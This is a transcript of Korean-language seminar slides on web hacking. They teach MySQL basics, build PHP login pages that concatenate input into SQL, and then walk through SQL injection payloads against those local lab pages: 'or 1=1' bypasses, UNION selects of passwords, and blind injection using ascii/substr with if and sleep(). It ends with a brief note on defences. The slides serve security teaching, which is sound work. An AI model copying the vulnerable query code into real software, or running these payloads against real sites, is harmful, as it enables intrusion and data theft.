web vulnerability seminar2

Post on 23-Jun-2015

1.096 Views

Category:

Documents

0 Downloads

Preview:

Click to see full reader

TRANSCRIPT

Web vulnerability seminar

from make to exploit

Contents

$ PHP + Source code auditing$ DB + SQLi$ XSS & CSRF$ Something Else$ Finish

Login Page$ Login Process

<?$id = "justlife3";$pass = "password";if($id == $_GET[id] && $pass == $_GET[pw])

echo "Hello!";else

echo "You are not justlife3";?>

DB

Column

Table

Row

DB

기본 패스워드 : apmsetup

mysql –uroot -p

패스워드 변경하고 가실게요$ UPDATE mysql.user SET

password=passowrd(‘ 사용할암호’ ) WHERE user=‘root’

$ 뜻을 알건 모르건 일단 바꾸고 봅시다 ..

DB

$ 어떤 db 가 있나 보자> show databases;

$ db 를 사용하기 위해 선택하자 .> use database_name

>ex) use mysql;

내 DB 만들기$ CREATE DATABASE db_name

> CREATE DATABASE webhacking;

$ CREATE TABLE table_name(column name type option,…)> CREATE TABLE member(

user_id varchar(20) NOT NULL,user_pw varchar(20) NOT NULL,nickname varchar(20),PRIMARY KEY(user_id));

값을 넣어보자 .$ INSERT INTO tablename values(a1,a2..);

> INSERT INTO account values(‘sakuya’,’1234’,’SAKUYA’);

$ INSERT INTO tablename(c1,c2..) values(a1,a2..);

> INSERT INTO member(user_id, user_pw, nickname) value(‘sakuya’,1234 , user_id);

연달아서 입력$ INSERT INTO member values

('sakuya','1234','SAKUYA'),('fear2fear','4321','131ackcon'),('commio0','bluebit','redbit'),('python','URYY',user_id),('ruby',abs(-1234),'sapphire');

$ 함수 , 컬럼도 가능함

$ Mysql 주석 : #, --, /**/

조회$ SELECT column FROM tablename

WHERE condition> SELECT nickname FROM member

WHERE user_id=‘sakuya’;

$ SELECT * FROM tablename WHERE contidion> SELECT * FROM member WHERE

user_id=‘sakuya’;

결과

PHP + SQL!

<?$ip = "127.0.0.1";$user = "root";$pass = “db_pass";$db = "webhacking";$conn = @mysql_connect($ip,$user,$pass);$dbs = @mysql_select_db($db);

?>

db_conn.php

가입 페이지 만들기$ 가입 페이지의 개략적인 형태<?include ‘db_conn.php’

$inp_id = $_POST[id];$inp_pw= $_POST[pw];$inp_nick = $_POST[nick];

//Send to Mysql$query = ‘INSERT INTO account values

(‘.$inp_id.’,’.$inp_pw.’,’.$inp_nick.’)’?>

로그인 페이지 만들기$ 로그인 페이지의 개략적인 형태<?include ‘db_conn.php’

$inp_id = $_GET[id];$inp_pw= $_GET[pw];

$query = ‘SELECT * FROM account WHERE user_id =’.$inp_id.’ and ‘.$inp_pw;

$row =mysql_fetch_array(mysql_query($query,$conn))if($row)

echo “Hello, ”$row[user_id];else

echo “Who are you?”?>web/2/login/join.php

web/2/login/_login.php

$rowmysql_fetch_array?

$row = array(‘user_id’ =>’1’‘user_pw’ => ‘2’‘nickname’ =>’3’);

$row = array(‘1’,’2’,’3’);

PHP array = Python dictionary + list

Injection?

그래서 ?

결론$ 무언가의 양식에 맞춰서 원하는 값을 넣는 것 .

$ SQL injection => SQL 구문에 맞게$ HTTP Header injection => HTTP 에

맞게$ Mail Header injection => Header 에

맞게

응용해 봅시다 .$inp_id = $_POST[id];$inp_pw = $_POST[pw];

$q = 'SELECT * FROM login WHERE id="'.$inp_id.'" and pw="'.$inp_pw.'"';

$row = mysql_fetch_array(mysql_query($q,$conn));if($row){

if($row[id]=='admin')echo "Congraz! Key is ".$authKey."<br>";echo "Hello, ".$row[id]."<br>";

}else

echo "Who are you?";

192.168.0.69/web/2/bypass/login.php

풀이SELECT * FROM login WHERE id="'.

$inp_id.'" "or 1=1#

and pw="'.$inp_pw.'"'

Challenge! +10 분휴식

192.168.0.69/web/2/bypass/login2.php192.168.0.69/web/2/bypass/login3.php192.168.0.69/web/2/bypass/login4.php

Login2

SELECT * FROM login WHERE id= ' and pw=md5(' $inp

') $inp '‘|| 1=1#

Login3

SELECT * FROM login WHERE id= ' and pw=md5(' $inp

') $inp '‘|| id=“admin”#

LIMIT

Login3

SELECT * FROM login WHERE id= ' and pw=md5(' $inp

') $inp '‘||1=1 limit 2,1#

Login4

SELECT * FROM login WHERE id=0x61646d696e

Advanced Injection

$ 3 + 3 = ?$ abs(-60)+60 = ?$ ord(‘a’)+ord(‘a’) = ?

$ “” + “A” = ?

UNION

SELECT ‘A’ + SELECT ‘B’ = ?

UNION

$ SELECT nick FROM membersUNIONSELECT pw FROM login

컬럼 개수가 맞아야 함

알아야 될 정보들$ SELECT column FROM table

$ 다른 DB 의 정보를 조회 !

>SELECT column FROM dbname.table

SELECT table_name FROM information_schema.tables;

INFORMATION_SCHEMA

$ Mysql 전용 !

Do IT! show tables show columns

최종web/2/adv/board/view.php?num=1union select 1,pw,3,4,5,NULL,7from board where no=5#

Blind 방식$ if 문을 사용$ Sleep() 계열을 사용

if 구문$ if( 조건 , 참 , 거짓 )$ if(1,1,0) -> 1 출력

@_@ ㅋㅋㅋ$ if(ascii(substr((select table_name

from information_schema.tables limit 1,1),1,1))<0,5,3)

분해 + 조립$ if(ascii(substr((select table_name from information_schema.tables limit

1,1),1,1))<0,5,3)

$ 초록 -> 주황 -> 빨강 -> 파랑

SELECT 문$ (select table_name from

information_schema.tables limit 1,1)

$ information_scehma.tables 에서 ta-ble_name 을 조회하고 값을 하나 가져온다 .

Substr 문$ substr(str,a,b)

> str 에서 a 번째 부터 b 번째 까지 문자를 가져온다 .

> python 의 str[a:b] 와 같음 .

ascii 문$ ascii(a)

> a 의 값을 아스키코드로 변환해서 돌려줌 .> python 의 ord 와 같음

ascii 의 값을$ if 로 넣어서 비교 .

> 그 이후 참 / 거짓에 따라서 값을 반환 .

if( <0,5,3)(select table_name from information_schema.tables limit 1,1)

substr( ,1,1)ascii( )COLLATIONS

ascii 의 값을$ if 로 넣어서 비교 .

> 그 이후 참 / 거짓에 따라서 값을 반환 .

if( <0,5,3)substr( ,1,1)ascii( )COLLATIONS

ascii 의 값을$ if 로 넣어서 비교 .

> 그 이후 참 / 거짓에 따라서 값을 반환 .

if( <0,5,3)ascii( )C 67

ascii 의 값을$ if 로 넣어서 비교 .

> 그 이후 참 / 거짓에 따라서 값을 반환 .

if( <0,5,3)67

3

DO IT!

$ if(ascii(substr((select table_name from information_schema.tables limit 1,1),1,1))<0,5,3)

SLEEP?

$ if(ascii(substr((select table_name from information_schema.tables limit 1,1),1,1))<0,sleep(1),3)

$ 리턴시간을 보고 참 / 거짓을 판별

$ sleep( 인자 ) 를 엄청 크게 주면 서비스 안함 ..

어떻게 할 것인가$ PHP.ini => magic_quoat 옵션 ON

> ‘, %00 등의 문자 앞에 \ 를 붙여서 스트링으로 인식하게 해줌

> magic_quoat 도 특수한 경우엔 우회가 가능함

$ Black List ? White list ?> ex) 숫자의 입력을 받는곳에 문자열의 입력은

필요없다 .

top related